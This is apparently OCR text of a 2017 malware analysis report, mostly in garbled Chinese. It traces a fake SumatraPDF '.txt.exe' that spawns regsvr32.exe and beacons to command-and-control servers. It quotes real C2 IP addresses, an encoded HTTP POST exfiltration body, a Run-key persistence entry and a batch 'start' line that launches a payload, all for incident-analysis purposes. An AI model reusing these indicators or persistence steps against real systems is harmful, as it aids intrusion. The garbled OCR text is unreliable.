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(Pll' output. 108327170.txt.exe

TEEEL: ERER (exe)

i SumatraPDF
fir:: C:\Users! \Desktop
Vi 356 KB (365,200 f7E4E)

BRI 360 KB (368,640 fir7TeE)

2. #% &R A2 & Virustotal 2+ %% et 6] 46/59 A @Rl 5 B & A5 o

SHA256:  66c4cfdBaa8efe3dchb2add57f790baalac13ac1 731474e6b550bc921880bad20
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Image File

@ Microsoft(R) B4 Iies
Microsoft Corporation

Version:  6.1.7600.16385

Build Tue Jul 14 07:58:32 2009
Path:

C:\Windows\SysWOW64\regsvr32.exe

Command line:
regsvr32.exe

5. 1 & regsvr32. exe =¥ 230 & Supe i \SysWOW64\ # » 5 k3ipzeng

A2 0 5 ER A2 Toutput. 108327170, txt. exe | » #9134 {7 eh3 425 o

‘B6cdcfdBaadefeddcbZa9d 57 790baa? SumatraP DF CiUsers\Hugo'Deskt.... -

o regsvriZ.exe (1768) Microsoft(R) B§E(E... ChwindowshSyaWo... |
Ei' reesvidZ exe (2264) Microsoft(R) B§E(E... ChWindows\SysWo... -
B rezsvi3Zeze (2924) Microsoft(R) EEEE... CA\Windows\SysWo... -

6. it M log &4 K F o regsvrd2. exe § * ¥ 70 port 80 fr 443

Process  +  FID  Frotocol Local Addr...  Local Port Eemote Ad... Remote Port  Sate e
7 lzassexe SO0 TCP 0.0.00 49156 0000 0 LISTENING
7 lzassexe SO0 TCRVE [Oa0:0:0:0:0:0... 49156 [0a0:0:00:0:0.., 0
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8.

Time Service Size Events

2017-Fehb-2111:54:42 IP/TCP /HTTP 5.26 KB = 140. 44 >
2017-Feb-2111:56:42 IP/TCP /HTTP 5.33 KB = 140. 44 —>
2017-Feb-2111:58:16 IP/TCP /HTTP 3.85KB = 140. 44 —>
2017-Feb-2111:58:43 IP/TCP /HTTP 5.37 KB = 140. 44 >
2017-Feb-2112:00:16 IP/TCP /HTTP 3.91 KB * 140. 44 >
2017-Feb-2112:00:44 IP/TCP /HTTP 5.33 KB = 140. 44 >
2017-Feb-2112:02:17 IP/TCP /HTTP 3.93 KB = 140. 44 >
2017-Feb-2112:02:45 IP/TCP /HTTP 5.33 KB = 140. 44 >
2017-Feb-2112:04:18 IP/TCP /HTTP 3.84 KB = 140. 44 >

Displaying 1 - 4
168.62.8.129 b 49918 -> 80 (http)
168.62.8.129 ? 50161 —> 80 (http)
195.90.108.192 @ 50359 -> 80 (http)
168.62.8.129 W 50415 -> 80 (http)
195.90.108.192 @ 50596 —> 80 (http)
168.62.8.129 e 50652 -> 80 (http)
195.90.108.192 @ 50844 -> 80 (http)
168.62.8.129 l? 50904 —> 80 (http)
195.90.108.192 @ 51095 -> 80 (http)

£ 4B port 80
HigEdd o F

e

shig gt e pog oo B HTTP POST = 24 4% < 7

#% 8 url v baseb4 decoder P 7 f345 > & &2 = #

BRP 2 F ot P - B [P 168.62.8.129 p % o

201772721 F7F 12:06:42 Removed regsvidl exe TCP 140, 4351416 113,244,231 183,443
2017/2/21 T4 12:06'44 Added regsvi32.exe CP 140, 44:51423  [168162.8.129:80
2017/2/21 T4 12:06°44 Added regsvi3l.exe CP 140, 44i51424  158.95,24,203:80
2017/2/21 T4 12:06:44 Added regsvi32.exe CP 140, 44:51425  139.123.19.115:8080

RSA Security Analytics Reconstruction for session ID: 45 ( Source 140.

44
Time 2/21/2017 12:12:48 to 2/21/2017 12:13:50 Calculated Packet Size 5,512 bytes

POST / HITP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0

; SLCC2; .NET CIR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0)
Host: 168.62.8.129

Content-Length: 500
Cache-Control: no-cache

IThFge IxU7qxdpoQBMbSNEfeTPLbT 7DHI VRR t 3KXg8KHE j Wn8HTwIkrVt 5B/ WutyYS4wjw/kV73hLQugd
foT2eeR+DTWE+STZV1B2zV241 22 TBDLcKdHzBAkDS& IwZ0dWaT2BB6 /v2Guy / 7Xal MZPdm2 1w/ aWWx /cs2
1DWp+Y 10kcWaeX51HHbj wi 5SgF9K1v4006hz r68xpulY86EGAEQUDHrGzR Y tMLB1 Ty 2yQ4mM rAFexEbU
VMpkyEK9YTbOx 1 t SHVKKdvsBLfmO/AC11TAckL9uBQ13rXx 1me3/ £Sazg8hXGNHt SuoI3an9bbelejkBr
PFuTTB417kPz0Ak 7/ gFqVAC5zPcGhx 7pXX+HoN5xgMeOK N1 Zz+xc SRNORa 5XNk j FCT 01 n4MvRAZZAB80
SnvUdEnYT+SBRXHKR2176edY/ 61 cBVgFrYodyVodWhG1WME014YkokOkI Cym4oEROZ1K1SayMaCIKeNik
EAF/wlnkosYcA=

52200, Target 168.62.8.129 : 80 )

Calculated Payload Size 4,720 bytes

HTTP/1.1 200 CK

Cache-Control: private

Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0
X-AspNetMve-Version: 4.0
X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Authorizatio
pe, Accept

Access-Control -Expose-Headers: Authorizati
Date: Tue, 21 Feb 2017 04:12:50 GMT
Content-Length: 2690

mwunzgowwn

<!DOCTYPE html>
<html>
<head>

¥ iplport 443 2 ¥ — i M4 e rregsvr32. exe i

| IP217.18.74.60 *

TRER RN RRY o RFEREAPN T T RTALE LA D
S

201772721 7 12:08:07 Removed regsvr3l.exe TCP 140. 44:51602 24.233,219,84:80
2017/2/21 T4 12:08:09 Added regsvr32. exe TCP 140. 44:51609 63.255.86.35:443
2017/2/21 T4 12:08:09 Added regsvr3l. exe TCP 140. 4451610 217.18.74.60:443
2017/2/21 T 12:08:09 Added regsvr32.exe TCP 140. 44:51611 26.225.207.210:443
2017/2/21 T4 12:08:09 Added regsvr3l.exe TCP 140. 44.51612 119.217.155.29:443
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RSA Security Analyncs Reconstruction for session ID: 1777 ( Source 140. 44 165353, Target 217.18.74.60 : 443 )

Time 2/ 2 03:17 to Z 21/2017 163 04 09 Calculated Packet Slze ;2 02‘5 hy‘lPS Calculated Payload Size 29,547 bytes
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108 ragsie kg - @ Flhport 80 - 443 e [P~ § & - Alpsb s

$ ker WEB PRASA 4% A 27 o £ 5 R 17 e ¢ ek 7 RdR R

KR ifpwapfoT ddn b % i -

| 176.110.148.221 Y| =

\\\ ]
Mikror ik
RouterOS v6.34.4

You have connected to a router. Administrative access only. If this device is not in
your possession, please contact your local network administrator.

WebFig Login:
Login: |admin | | Login I
Password: | |
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"9d7b508. 23138def ;> B ¥ § & A LA LART ALY F o

e HKqCU\Software\Microsoft\Windows\CmgntVarsion\Rm 201772123 &
= (Default) clusers mm \appdata\local\fl’fe%eﬁe19950.bat l 2017/2/23 T
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| 7e1995c bat - 2EAX =HEE
BERF) H|EE) HF(O0) @RV) FHHAH)
start "Ch2Adndo6103rDn6Eu" "%LOCALAPPDATA%\f17¢23¢\9d7b508.23138det"

12.& L4254 "9d7b508. 23138def ; %4 Virustotal 445 % 5 0/56 » %
TR SR ATNE AN S B ot ok 3 APT S
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File name: 9d7b508.23138def
Detection ratio: 0/56

Analysis date: 2017-03-09 02:40:43 UTC ( 0 minutes ago )
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